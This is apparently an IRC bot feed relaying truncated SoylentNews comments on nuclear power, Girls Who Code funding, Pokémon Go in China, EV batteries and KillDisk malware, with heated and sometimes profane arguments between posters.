[19:16:09] <exec> *** new comment: 03ikanreed [3164] (Score:2) 02Re:Ah the mouse model - 06Long-Term Stress Erodes Memory - 649 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[19:16:10] <exec> 08└─But they also very often are. So again, if you have a problem with methodology, say so. This thread stated with me doing exactly that(really more how the perfectly reasonable methodology got popularized in the media). If you read actual papers, not abstracts, not "science news", you'll find that ove...
[19:17:59] <exec> *** new comment: 03hamsterdan [2829] (Score:2) 02Re:Exciting - 06German Green Party MP Considers Subsidized Sex for the Disabled - 109 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[19:17:59] <exec> 08└─I guess it's only fair since governments already have sex with citizens, maybe just not the way we like it :)
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[20:09:26] <exec> *** new comment: 03takyon [881] (Score:2) 02Re:It's so absurd! - 06No Pokémon Go or Other AR Games in China - 69 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[20:09:27] <exec> 08└─What? KOFFING is evolving! [...] Congratulations, you have caaaancer!
[20:09:29] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:It's so absurd! - 06No Pokémon Go or Other AR Games in China - 145 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[20:09:29] <exec> 08└─Yeah. Moral relativism; I guess that's why we should just accept the mutilation of little boys' and girls' sexual organs in, say, Egypt, amirite?
[20:09:30] <exec> *** new comment: 03ikanreed [3164] (Score:2) 02Re:It's so absurd! - 06No Pokémon Go or Other AR Games in China - 1345 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[20:09:31] <exec> 08└─Like... even though I knew this reply was coming(Just look at that italicized preamble), my mind still can't help but boggle at the consistency with which people see a post about the explanatory power of moral relativism about human behavior and immediately conclude it automatically coincides with a...
[20:09:32] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:It's so absurd! - 06No Pokémon Go or Other AR Games in China - 89 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[20:09:33] <exec> 08└─As always, you've missed the point: I'm not looking for an explanation of their behavior.
[20:09:35] <exec> *** new comment: 03ikanreed [3164] (Score:2) 02Re:It's so absurd! - 06No Pokémon Go or Other AR Games in China - 377 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[20:09:36] <exec> 08└─Oh, so that's new. An ignorant ass who revels in ignorance. I was replying to someone who did show a modicum of interest in the subject. But congrats on your supplying your shitty, poorly considered opinion, while being disinterested in discussing it, I guess. We're all so interested in your utter l...
[20:09:37] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:It's so absurd! - 06No Pokémon Go or Other AR Games in China - 116 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[20:09:38] <exec> 08└─immediately conclude it automatically coincides with an implicit endorsement of every cultural norm of every culture
[20:09:53] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:Blatant Sexism - 06GM Announces $250,000 Pledge to Education Nonprofit Girls Who Code - 185 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[20:09:53] <exec> 08└─Let's put this simply: when those who are oppressed or disenfranchised are given equal opportunity, or an opportunity to be equal, those in power to oppress don't get to bitch about it.
[20:09:54] <exec> *** new comment: 03Arik [4543] (Score:2) 02Re:Blatant Sexism - 06GM Announces $250,000 Pledge to Education Nonprofit Girls Who Code - 271 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[20:09:54] <exec> 08└─"Let's put this simply: when those who are oppressed or disenfranchised are given equal opportunity, or an opportunity to be equal, those in power to oppress don't get to bitch about it. " Women are not oppressed or disenfranchised, in the US or in any developed country.
[20:09:55] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:Blatant Sexism - 06GM Announces $250,000 Pledge to Education Nonprofit Girls Who Code - 98 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[20:09:56] <exec> 08└─Reality disagrees with you. But then again, you've got your own special little reality, don't you?
[20:09:58] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:Blatant Sexism - 06GM Announces $250,000 Pledge to Education Nonprofit Girls Who Code - 385 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[20:09:59] <exec> 08└─Here's what their disenfranchisement looks like. "I got the job at the factory for $20/hr, but my boyfriend didn't like it, so I took a minimum wage job instead." At some point, women need to pull on the big girl pants and dump the boyfriend. Simple as that. It's a man's world, not because it should...
[20:10:00] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:Blatant Sexism - 06GM Announces $250,000 Pledge to Education Nonprofit Girls Who Code - 589 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[20:10:01] <exec> 08└─Bullshit. Show me who's 'oppressing' them. Show me how they don't have equal opportunity. They don't have equal *interest*, just as men don't tend to have equal interest in teaching or nursing (which you'll notice don't have sexist funds set up for them). This is pure politics and while I'd love to...
[20:10:02] <exec> *** new comment: 03http [1920] (Score:2) 02Re:Blatant Sexism - 06GM Announces $250,000 Pledge to Education Nonprofit Girls Who Code - 728 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[20:10:03] <exec> 08└─Your definition sucks horseballs. It's correct as far as it goes, but it's like calling a rabbit hole "that dark place over thar." Gilrs have an extremely different experience in education than boys do. Your notion, "exclude a women for being a woman and untold wrath will descend on you" is trite, s...
[20:10:04] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:Blatant Sexism - 06GM Announces $250,000 Pledge to Education Nonprofit Girls Who Code - 86 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[20:10:05] <exec> 08└─the leader of girls who code is actually of Indian descent, you know. Makes you wonder
[20:10:06] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:Blatant Sexism - 06GM Announces $250,000 Pledge to Education Nonprofit Girls Who Code - 150 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[20:10:07] <exec> 08└─The urge is to lambast you for crying sexism about people trying to address already-present sexism through (charitable, voluntary) affirmative action.
[20:10:20] <exec> *** new comment: 03Arik [4543] (Score:2) 02Let me correct that for you - 06GM Announces $250,000 Pledge to Education Nonprofit Girls Who Code - 1549 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[20:10:20] <exec> 08└─"Yep, it's definitely not the case that women get worse paying careers on average, and within a given career they're paid less, and that controlling for every possible confounding factor they're still paid less." You're right, it's definitely not the case, since the truth of a compound statement of...
[20:10:25] <exec> *** new comment: 03DeathMonkey [1380] (Score:2) 02Re:Girls are smart - 06GM Announces $250,000 Pledge to Education Nonprofit Girls Who Code - 379 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[20:10:26] <exec> 08└─Wheres the 1/4 million dollar bribes to get men into early childhood education, cheerleading, K12 education, HR, ballet, nursing, womens studies ... Yeah! It's so unfair that there are no scholarships, [collegescholarships.org] organizations, [aamn.org] or anything [nursejournal.org] like that [...
[20:10:27] <exec> *** new comment: 03Anonymous Coward (Score:0) 02I have a daughter with STEM degree in 3yrs... - 06GM Announces $250,000 Pledge to Education Nonprofit Girls Who Code - 91 chars -04 http://soylentnews.org
[20:10:28] <exec> 08└─And she cannot find job in it. Right now, call center for MAJOR TECH COMPANY @ $10/hr! Wow
[20:10:35] <exec> 08*** score 5 comment: 03meustrus [4961] 02Private-Public Partnership - 06Controversial Nuclear Power Plant Near New York to Close - 282 chars - 04 http://soylentnews.org
[20:10:36] <exec> 08└─Lower energy prices cited by the article have not been reflected in customer electricity bills. Indian Point supplies 30% of New York's power, so if the post-Indian point power supply drops by the same amount the high prices New Yorkers currently pay per kwh will climb even higher.
[20:10:39] <exec> 08*** score 5 comment: 03ikanreed [3164] 02"Environmentalists" - 06Controversial Nuclear Power Plant Near New York to Close - 761 chars - 04 http://soylentnews.org
[20:10:40] <exec> 08└─Any environmentalist who doesn't pursue evidence-based environmental policy(like... say... being broadly anti-nuclear) is sabotaging real progress for a healthy environment for the sake of their own feelings. I would describe myself as a fairly rabid environmentalist on the basis that there's a lot...
[20:10:43] <exec> 08*** score 5 comment: 03rcamera [2360] 02Re:"Environmentalists" - 06Controversial Nuclear Power Plant Near New York to Close - 1092 chars - 04 http://soylentnews.org (parent: http://soylentnews.org)
[20:10:44] <exec> 08└─considering the reactors are past their original EOL (like all of them, at this point), have had multiple safety issues [wikipedia.org], including emergency siren failures [recordonline.com] (you'll maintain a generator, but can't get a PA system working...?), and they're built directly on a faultli...
[20:11:01] <exec> *** new comment: 03Anonymous Coward (Score:0) 02NO - 06Controversial Nuclear Power Plant Near New York to Close - 566 chars -04 http://soylentnews.org
[20:11:01] <exec> 08└─it's the burocrazy, dummy. it's "easier" to giga-ton paper approve ONE project (as in a nuke plant) then to deal with TEN giga-ton individual paper approvals of solar grid-tie pico-power projects ... if grid-tie solar were as massively easy as buying a electrical water heater, or microwave or washin...
[20:11:14] <exec> 08*** score 5 comment: 03FatPhil [863] 02I notice they say "vehicle", not "car" - 06Samsung Announces Electric Vehicle Battery Cell Enabling 310 Mile Range on a 20 Minute Charge - 93 chars - 04 http://soylentnews.org
[20:11:14] <exec> 08└─The vehicle in question is a rocket, and this is simply a bunch of Note 7s strapped together.
[20:11:50] <exec> *** new comment: 03Osamabobama [5842] (Score:2) 02Re:So ... what's the point? - 06Earth and the Moon as Seen From Mars - 117 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[20:11:51] <exec> 08└─Personally, I was hoping for higher resolution. I wonder if NASA doesn't have any cameras that are closer to Earth...
[20:11:52] <exec> *** new comment: 03takyon [881] (Score:2) 02Re:So ... what's the point? - 06Earth and the Moon as Seen From Mars - 28 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[20:11:52] <exec> 08└─Praise Gore! [wikipedia.org]
[20:12:11] <exec> *** new comment: 03Thexalon [636] (Score:2) 02Re:err... - 06KillDisk Malware Now Targets Linux - 713 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[20:12:11] <exec> 08└─Another attack vector that could and sometimes has worked: 1. Use an exploit in a server application (e.g. BIND or Apache) to gain unprivileged access. 2. From that unprivileged account, use a privilege escalation exploit to become root. 3. Once you are root, replace the kernel and/or whatever else...
[20:13:05] <exec> 08*** score 5 comment: 03Bot [3902] 02yes good enough - 06Is Screen Resolution Good Enough Considering the Fovea Centralis of the Eye? - 169 chars - 04 http://soylentnews.org
[20:13:05] <exec> 08└─nearsighted people see near things magnified. Got me a 3 K monitor once, but the white balance was off, and the KKK wanted it back immediately (curious bunch of people).
[20:13:16] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:general medical facts... - 06Is Screen Resolution Good Enough Considering the Fovea Centralis of the Eye? - 693 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[20:13:16] <exec> 08└─OP here, sorry I don't have an account. I'm not sure what you're trying to test. You look at what you want to see. Central vision is only 1% of the view area of your eye, but 50% of the visual cortex processes this information from this area. How far away can something be that if you're curious abou...
[20:14:10] <exec> *** new comment: 03takyon [881] (Score:2) 02Re:Write first, debug later - 06Graph Isomorphism Strikes Back - 262 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[20:14:10] <exec> 08└─Whaddaya mean, review? If the proof is gigabytes in size, it has to be reviewed by a computer that doesn't care how many revisions are fed in. That's what we're getting at, right? Math that is too glyphy for humans to parse. Babai's proof is short by comparison.
[20:15:15] <exec> *** new comment: 03Grishnakh [2831] (Score:2) 02Re:I've worked with a lot of H1-B's - 06Trump and Sessions Plan to Restrict H-1B Workers. Hyderabad Says to Bring It On. - 1886 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[20:15:15] <exec> 08└─It entirely depends on what industry you're in, what your skills/qualifications/education are, and where you live, plus of course where you're willing to relocate to. If you're a skilled developer living in Silicon Valley, then hell no; you can get a new job in a few days easily. If you're a high sc...
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[21:09:15] <exec> *** new comment: 03Anonymous Coward (Score:1, Insightful) 02How close? - 06The Science of Westworld - 74 chars -04 http://soylentnews.org
[21:09:15] <exec> 08└─But how close are we to building the brains of Westworld's hosts for real?
[21:09:33] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:It's so absurd! - 06No Pokémon Go or Other AR Games in China - 124 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[21:09:33] <exec> 08└─No, you were responding to a rhetorical question; it wasn't a question at all. Check your reading comprehension, "ikanreed".
[21:09:34] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:It's so absurd! - 06No Pokémon Go or Other AR Games in China - 277 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[21:09:34] <exec> 08└─Your rhetorical question was still a point being made, you don't get to magically evade criticism that way. Your mutilation comment was an extreme response to something that wasn't even stated, check your own reading comprehension and stop drawing conclusions for other people.
[21:09:36] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:It's so absurd! - 06No Pokémon Go or Other AR Games in China - 202 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[21:09:37] <exec> 08└─Extreme? irrelevant? Here, let me help you: How can anybody stand having these control-freak bureaucrats of religion cutting up little boys' and girls' sexual organs (let alone their own sexual organs)?
[21:09:38] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:It's so absurd! - 06No Pokémon Go or Other AR Games in China - 328 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[21:09:39] <exec> 08└─When a girl's sexual organs are cut up, that oppression, and it's your fault you male. You implicitly endorse it every time it happens. You mind control the hands of the old woman who uses the knife. Now, when a boy's sexual organs are cut up, you just need to get used to the idea. You're a sexual o...
[21:09:41] <exec> *** new comment: 03edIII [791] (Score:2) 02Re:It's so absurd! - 06No Pokémon Go or Other AR Games in China - 1516 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[21:09:42] <exec> 08└─There's all of that.... but then also that the game itself is a public nuisance. Nintendo made a lot of money without ever thinking about *where* they were putting down monsters. All of the responsibility and accountability was simply for people other than Nintendo. Considering the sheer amounts of...
[21:09:43] <exec> *** new comment: 03takyon [881] (Score:2) 02Re:It's so absurd! - 06No Pokémon Go or Other AR Games in China - 31 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[21:09:44] <exec> 08└─Nintendo made a lot of money...
[21:09:45] <exec> *** new comment: 03VLM [445] (Score:2) 02Re:It's so absurd! - 06No Pokémon Go or Other AR Games in China - 25 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[21:09:46] <exec> 08└─and stick to public areas
[21:10:00] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:Blatant Sexism - 06GM Announces $250,000 Pledge to Education Nonprofit Girls Who Code - 35 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[21:10:00] <exec> 08└─you're the socialist, you dumb fuck
[21:10:09] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:Blatant Sexism - 06GM Announces $250,000 Pledge to Education Nonprofit Girls Who Code - 337 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[21:10:09] <exec> 08└─The reality you describe is completely counter to my lifelong experience, especially in education; throughout my schooling, it was very clear that the teachers (the vast majority of which were female) treated the boys as second-class citizens, and spent most of their time engaging with the "better"...
[21:10:10] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:Blatant Sexism - 06GM Announces $250,000 Pledge to Education Nonprofit Girls Who Code - 167 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[21:10:11] <exec> 08└─that's why a high percentage of the US' males are going to jail or shitty jobs if they're lucky while females go to college? you're the one who's not paying attention.
[21:10:12] <exec> *** new comment: 03Arik [4543] (Score:2) 02Re:Blatant Sexism - 06GM Announces $250,000 Pledge to Education Nonprofit Girls Who Code - 1113 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[21:10:13] <exec> 08└─I can only echo the other poster that your overall depiction is completely contrary to all my may years of experience in school, both as student and as staff. I can add that I see some truth in your details, it's the overall spin you're trying to put on it that is just wrong. Women are less often as...
[21:10:22] <exec> *** new comment: 03Phoenix666 [552] (Score:2) 02Re:Let me correct that for you - 06GM Announces $250,000 Pledge to Education Nonprofit Girls Who Code - 854 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[21:10:23] <exec> 08└─It can get worse than open plan offices. A buddy of mine used to work as a consultant at Price-Waterhouse Coopers. Their "desks" looked like a shelf in a bookshelf, arranged in aisles like a library. And even those they had to check out every day when they got to the office. It was a practice called...
[21:10:31] <exec> *** new comment: 03DeathMonkey [1380] (Score:2) 02Re:Let me correct that for you - 06GM Announces $250,000 Pledge to Education Nonprofit Girls Who Code - 355 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[21:10:32] <exec> 08└─No one's organizing campaigns to encourage more women to enter mining or fishing or sanitation. Women in Mining Foundation [womeninmining.org] International Women's Fishing Association [iwfa.org] Angling for gender equality in the seafood industry [fao.org] National Waste & Recyc...
[21:10:35] <exec> *** new comment: 03AthanasiusKircher [5291] (Score:2) 02Re:Let me correct that for you - 06GM Announces $250,000 Pledge to Education Nonprofit Girls Who Code - 53 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[21:10:35] <exec> 08└─men are dropping out in large numbers out of colleges
[21:10:42] <exec> *** new comment: 03takyon [881] (Score:2) 02Hey! - 06GM Announces $250,000 Pledge to Education Nonprofit Girls Who Code - 360 chars -04 http://soylentnews.org
[21:10:43] <exec> 08└─This isn't the pledge Trump wanted! Ford just announced that they stopped plans for a billion-dollar plant in Mexico And they're going to be moving into Michigan and expanding very substantially an existing plant. I appreciate that from Ford. I appreciate it very much from Fiat Chrysler. I hope that...
[21:10:53] <exec> *** new comment: 03GungnirSniper [1671] (Score:2) 02Re:Private-Public Partnership - 06Controversial Nuclear Power Plant Near New York to Close - 1320 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[21:10:54] <exec> 08└─These partnerships exist because they invest capital up front with the goal of earning more back over time. Considering the massive investment required by utilities, many of them are regulated industries to protect that investment. If the public wanted to fund these works projects up front they coul...
[21:11:14] <exec> *** new comment: 03Phoenix666 [552] (Score:2) 02Re:Insane place to put a nuke plant - 06Controversial Nuclear Power Plant Near New York to Close - 434 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[21:11:14] <exec> 08└─The left panel of the first link makes sense, and would be perfectly acceptable to me because all that fallout would hit Westchester County, Connecticut, and the North Shore of Long Island where all the bankers live who have done so much evil. The right panel makes no sense, because that's not the w...
[21:11:17] <exec> *** new comment: 03Scruffy Beard 2 [6030] (Score:2) 02Re:NO - 06Controversial Nuclear Power Plant Near New York to Close - 122 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[21:11:17] <exec> 08└─The grid is not a storage medium. If everybody dumped excess power on the grid without regulation, we would have problems.
[21:11:30] <exec> *** new comment: 03Scruffy Beard 2 [6030] (Score:2) 02Re:cheapness vs range anxiety - 06Samsung Announces Electric Vehicle Battery Cell Enabling 310 Mile Range on a 20 Minute Charge - 268 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[21:11:30] <exec> 08└─Only resistance heat is a problem for quick-charging. I think NiCd batteries are actually supposed to get cold during initial charging. As you get closer to full charge, you start overcharging some cells: which produces heat (since the energy can no longer be stored).
[21:11:40] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:Big honking power cables sold separately. - 06Samsung Announces Electric Vehicle Battery Cell Enabling 310 Mile Range on a 20 Minute Charge - 539 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[21:11:40] <exec> 08└─teh calculation is wrong. an ICE can only convert the latent energy of 40 l of gasoline by about 30 % efficiency. an electrical motor, however can get much closer to 100 %. so if we just say that an electrical drive-system for a car is 3 times more efficient then a ICE, then a battery holding only a...
[21:11:50] <exec> *** new comment: 03Phoenix666 [552] (Score:2) 02Re:Lovely - 06Samsung Announces Electric Vehicle Battery Cell Enabling 310 Mile Range on a 20 Minute Charge - 315 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[21:11:50] <exec> 08└─> the 500-year-old buildings turn black. Also good. I remember the Dom in Cologne was black from the same cause, no matter how much they scrubbed and sandblasted it. People from the Age of Coal would marvel at our air quality today, and I suspect we'll react the same way after the EV revolution has...
[21:11:52] <exec> *** new comment: 03Phoenix666 [552] (Score:2) 02Re:Lovely - 06Samsung Announces Electric Vehicle Battery Cell Enabling 310 Mile Range on a 20 Minute Charge - 309 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[21:11:53] <exec> 08└─No, it's not. Our house in the suburbs is near the intersection of the Long Island Expressway and a major arterial road. There are sound barriers in place, but the engine noise is still what you hear, not the tire noise. When it's a semi, or a pack of Harleys, or crotch rockets, or muscle cars, you...
[21:12:07] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:spacing - 06Earth and the Moon as Seen From Mars - 168 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[21:12:07] <exec> 08└─Or, you just look up the billions of images and maps made from the imagery from every imaging craft [washingtonpost.com] to have gone around the Moon from 1960 onwards.
[21:12:33] <exec> *** new comment: 03mmcmonster [401] (Score:2) 02Re:err... - 06KillDisk Malware Now Targets Linux - 176 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[21:12:33] <exec> 08└─The problem is on Linux Desktop systems the most important files are not the system files but the user ~/Documents/ folder. You don't need privilege escalation to muck that up.
[21:16:30] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:with better IP law, wouldn't be a big deal - 06Razer Prototypes Stolen at CES - 58 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[21:16:30] <exec> 08└─the patent system has too many unintended bad side effects
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[22:09:15] <exec> *** new comment: 03Anonymous Coward (Score:0) 02RISC-V - 06Qualcomm's Snapdragon 835 Detailed: 3 Billion Transistors on a 10nm Process - 319 chars -04 http://soylentnews.org
[22:09:15] <exec> 08└─Qualcomm is a founding member [riscv.org] of the RISC-V Foundation; hopefully, they will start using this new, open, royalty-free, modular, forward-compatible ISA in place of ARM. The standard supports implementations from the embedded to the 128-bit general purpose, and from the single-core to the...
[22:09:23] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:How close? - 06The Science of Westworld - 204 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[22:09:23] <exec> 08└─Meh, if we did understand how our own brains work then anyone who didn't would be at such a disadvantage they may never know the breakthrough had been achieved. Therefore your conclusions are unsupported.
[22:09:25] <exec> *** new comment: 03tibman [134] (Score:2) 02Re:How close? - 06The Science of Westworld - 297 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[22:09:26] <exec> 08└─Not sure why understanding the human brain is a prerequisite for AI. I don't think the goal is to build an artificial human brain. It's to build a machine with the outward appearance of intelligence. If you wanted to simulate a human brain then obviously we would have to completely understand it.
[22:09:27] <exec> *** new comment: 03krishnoid [1156] (Score:2) 02Re:How close? - 06The Science of Westworld - 96 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[22:09:28] <exec> 08└─We don't even understand yet how our own brains work yet, and we think we can do it in machines?
[22:09:29] <exec> *** new comment: 03nitehawk214 [1304] (Score:1) 02one of this year's... - 06The Science of Westworld - 101 chars -04 http://soylentnews.org
[22:09:30] <exec> 08└─one of the year's hit TV shows was an exploration of what it means for machines to gain consciousness
[22:09:51] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:It's so absurd! - 06No Pokémon Go or Other AR Games in China - 627 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[22:09:51] <exec> 08└─Extreme? Yes. Your example is too extreme to have a conversation about relative morality since the overwhelming majority of people would be against sexual organ mutilation and would find it morally reprehensible. It polarizes and derails the conversation. Irrelevant? No, I never said that. The topic...
[22:09:52] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:It's so absurd! - 06No Pokémon Go or Other AR Games in China - 235 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[22:09:52] <exec> 08└─Do you even mathematics, bra? Taking a statement (e.g., a formula) to the [extreme] limit is one of the cornerstones of logical discourse. If you don't like the results of taking the limit, then maybe you ought to review your position.
[22:09:55] <exec> *** new comment: 03ikanreed [3164] (Score:2) 02Re:It's so absurd! - 06No Pokémon Go or Other AR Games in China - 750 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[22:09:56] <exec> 08└─uh... huh. Pretty ambiguous. Let me answer as many possible interpretations of your post as I can. If this is about how my post implied more universal acceptance of the cultural norms in question than actually exists and glosses over how many people struggling to change things in China there are: go...
[22:10:26] <exec> *** new comment: 03http [1920] (Score:2) 02Re:Blatant Sexism - 06GM Announces $250,000 Pledge to Education Nonprofit Girls Who Code - 1149 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[22:10:26] <exec> 08└─I'm from a planet where I remember a few things. http://www.pbs.org [pbs.org] sums up the research in a nutshell. Dale Spender, an Australian linguist, noticed that in groups, men think women participated equally if they spoke 15% of the time, and believe that women do...
[22:10:45] <exec> *** new comment: 03Arik [4543] (Score:2) 02Re:Let me correct that for you - 06GM Announces $250,000 Pledge to Education Nonprofit Girls Who Code - 55 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[22:10:45] <exec> 08└─Nice job, but notice how tiny and low profile they are.
[22:10:46] <exec> *** new comment: 03DeathMonkey [1380] (Score:2) 02Re:Let me correct that for you - 06GM Announces $250,000 Pledge to Education Nonprofit Girls Who Code - 32 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[22:10:46] <exec> 08└─Nice job moving those goalposts.
[22:10:47] <exec> *** new comment: 03Arik [4543] (Score:1) 02Re:Let me correct that for you - 06GM Announces $250,000 Pledge to Education Nonprofit Girls Who Code - 533 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[22:10:48] <exec> 08└─The summation was the penultimate sentence, the last sentence was an obvious rhetorical flourish which you zoomed in on and showed to be technically incorrect. Congratulations. If I were your debate coach I'd be proud. You haven't tackled the actual summation, however, because you can't dispute it....
[22:10:50] <exec> *** new comment: 03DeathMonkey [1380] (Score:2) 02Re:Let me correct that for you - 06GM Announces $250,000 Pledge to Education Nonprofit Girls Who Code - 348 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[22:10:50] <exec> 08└─If you had made an argument that was more than a wordy version of "nuh-uh" I would've addressed it. Since you didn't, and "yes-huh" would've been redundant, I could only address your factually incorrect statement. I'll also point out that your statement was absolutely, indisputably, FALSE. Being com...
[22:10:52] <exec> *** new comment: 03VLM [445] (Score:2) 02Re:Let me correct that for you - 06GM Announces $250,000 Pledge to Education Nonprofit Girls Who Code - 2160 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[22:10:53] <exec> 08└─I checked out women in mining. Nice quarterly newsletter. Appears to be about 20 women at the national level who go on field trips to mines. It appears none of them work in mining and are mostly appear to be elder members of the traditional cat lady industries. The president, I kid you not, is a gra...
[22:10:56] <exec> *** new comment: 03AthanasiusKircher [5291] (Score:2) 02Re:Let me correct that for you - 06GM Announces $250,000 Pledge to Education Nonprofit Girls Who Code - 937 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[22:10:57] <exec> 08└─Oh, and if you need some more specific stats on the college dropout rate in particular, here's the table [ed.gov] from the National Center for Education Statistics that shows completion rates for bachelor's degrees after 4, 5, and 6 years, broken down by sex, race, etc. It only goes back to 1996, bu...
[22:11:02] <exec> *** new comment: 03VLM [445] (Score:2) 02Re:Girls are smart - 06GM Announces $250,000 Pledge to Education Nonprofit Girls Who Code - 528 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[22:11:03] <exec> 08└─Yeah I tossed you a softball there, now try womens studies and ballet. With a side dish of infinite journalist coverage and corporate press releases wringing hands about not having enough men in womens studies. I have a perfectly good coworker who needs a diploma, any diploma, to amuse HR to progres...
[22:11:05] <exec> *** new comment: 03GungnirSniper [1671] (Score:2) 02Re:I have a daughter with STEM degree in 3yrs... - 06GM Announces $250,000 Pledge to Education Nonprofit Girls Who Code - 435 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[22:11:06] <exec> 08└─Don't mix your IN and FOR statements in your subject. Clearly she's not in a tech area, based on her being someplace where call center work only pays $10/hr. Even 30 miles from Boston that pays $14+/hr for most semi-trained work. So she may have to move to get a start in her career. Is she keeping u...
[22:11:52] <exec> *** new comment: 03ledow [5567] (Score:2) 02Re:cheapness vs range anxiety - 06Samsung Announces Electric Vehicle Battery Cell Enabling 310 Mile Range on a 20 Minute Charge - 482 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[22:11:52] <exec> 08└─250kW after conversion losses. Call it 100A. That's an entire households maximum fuse where I come from. And many places have significantly less. You're not only talking specialised charger, you're talking an entire single-phase feed just for that. That's not gonna add up for someone who's bought a...
[22:11:53] <exec> *** new comment: 03ledow [5567] (Score:2) 02Re:cheapness vs range anxiety - 06Samsung Announces Electric Vehicle Battery Cell Enabling 310 Mile Range on a 20 Minute Charge - 63 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[22:11:54] <exec> 08└─100A @ 250V obviously. That's over 200A in the US, for example.
[22:12:17] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:Lovely - 06Samsung Announces Electric Vehicle Battery Cell Enabling 310 Mile Range on a 20 Minute Charge - 406 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[22:12:17] <exec> 08└─OK, near an intersection I can see the engine noise being the nuisance. I used to live backed up to a rural freeway that ended in a stop light--and what we heard over the sound barrier was the trucks jake braking (although there were signs prohibiting engine braking). Where the interstate is free ru...
[22:12:20] <exec> *** new comment: 03ledow [5567] (Score:2) 02Re:Concerns about the manufacturer - 06Samsung Announces Electric Vehicle Battery Cell Enabling 310 Mile Range on a 20 Minute Charge - 53 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[22:12:20] <exec> 08└─Whoa, hold fire there. Don't get too heated just yet.
[22:13:00] <exec> *** new comment: 03Scruffy Beard 2 [6030] (Score:2) 02Re:err... - 06KillDisk Malware Now Targets Linux - 274 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
